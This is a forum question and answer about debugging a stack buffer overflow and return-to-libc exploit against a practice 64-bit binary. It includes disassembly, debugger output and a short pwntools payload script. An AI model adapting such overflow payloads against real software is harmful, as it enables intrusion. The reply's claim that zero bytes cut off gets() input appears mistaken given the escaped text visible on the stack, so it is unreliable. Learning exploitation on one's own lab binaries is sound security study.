ROP chain: Buffer Overflow Return Pointer

Question

I am trying to get a ROP exploit to work on Ubuntu 18.04 LTS 64bit.

I have a 64 bit binary (Nx enabled, ASLR disabled) with vuln function as follows:

public vuln
vuln proc near

var_100= byte ptr -100h

push    rbp
mov     rbp, rsp
sub     rsp, 100h
lea     rdi, s          ; "Gimme some data!"
call    _puts
lea     rax, [rbp+var_100]
mov     rdi, rax
mov     eax, 0
call    _gets
nop
leave
retn
vuln endp

I need to overwrite the return pointer of vuln function with the libc base address where I will write parameters for execve call.

The buffer is 264 bytes long. So with 272 'A' I get the following position:

0x55555555471d <vuln+45>    ret    <0x4141414141414141>

Stack:

00:0000│ rsp  0x7fffffffe2c8 ◂— 'AAAAAAAA'

But when I try to overflow with the libc address(0x7ffff7a3a000) it is giving a SIGSEGV and it is behaving the following way:

0x55555555471d <vuln+45>    ret    <0x3061785c3030785c>

Stack:

00:0000│ rsp r11-6  0x7fffffffe2c8 ◂— 0x3061785c3030785c ('\\x00\\xa0')
01:0008│            0x7fffffffe2d0 ◂— 0xefbdbfef3361785c
02:0010│            0x7fffffffe2d8 ◂— 0x3030785cbdbf

I dont know where am I going wrong!!!! I have put so many days in it but to no extent. I have done buffer overflow before but never encountered this problem.

Following is my python script that is generating the payload (this is only to overflow the return address):

#! /usr/bin/env python2

from pwn import *

payload = 'A' * 264
payload += p64(0x7ffff7a3a000)

print(payload)

Answer 1

The zero in the address that you are passing is causing the string to be terminated and the following values to not be stored. You won't be able to return directly to libc that way. Instead, you'll need a different address that can either branch to libc directly (but contains no zeroes in the address), or which can push that value for you before performing a ret itself.